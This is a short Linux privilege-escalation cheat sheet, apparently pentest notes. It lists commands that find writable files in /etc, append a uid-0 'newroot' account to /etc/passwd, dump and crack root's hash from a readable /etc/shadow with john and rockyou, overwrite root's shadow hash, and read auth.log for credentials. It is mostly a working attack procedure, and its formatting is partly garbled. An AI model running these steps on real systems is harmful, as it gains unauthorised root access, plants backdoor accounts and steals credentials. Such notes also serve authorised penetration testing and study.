Useful command (writable file, readable file, writable folder):
find /etc -maxdepth 1 -writable -type f
find /etc -maxdepth 1 -readable -type f
find / -executable -writable -type d 2> /dev/null
/etc/passwd
- Verify the permission:
ls -l /etc/passwd - Generate a password hash:
openssl passwd "password" - Edit the file and change the root’s second field(x) to the hash. Alternatively create a new user by appending a new row:
echo "newroot:L9yLGxncbOROc:0:0:root:/root:/bin/bash" >> /etc/passwd - Use
suand type in the password
/etc/shadow
If world readable:
- Check permission using
ls -l /etc/shadow - Get the password for root:
head -n 1 /etc/shadow - Save the hash to a file:
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVl aXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt - Crack using john:
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt - Use
suand type in the password cracked.
If world writable:
- Check permission using
ls -l /etc/shadow - Copy etc/shadow as a backup:
cp /etc/shadow /tmp/shadow - Generate a new sha512 hash:
mkpasswd -m sha-512 newpassword - Edit /etc/shadow for root and replace our hash generated.
- Use
suand type in the password cracked.
/var/log/auth.log
- Check permission:
ls -la /var/log/auth.log - If allowed to read,
cat /var/log/auth.log
Might contain login credentials.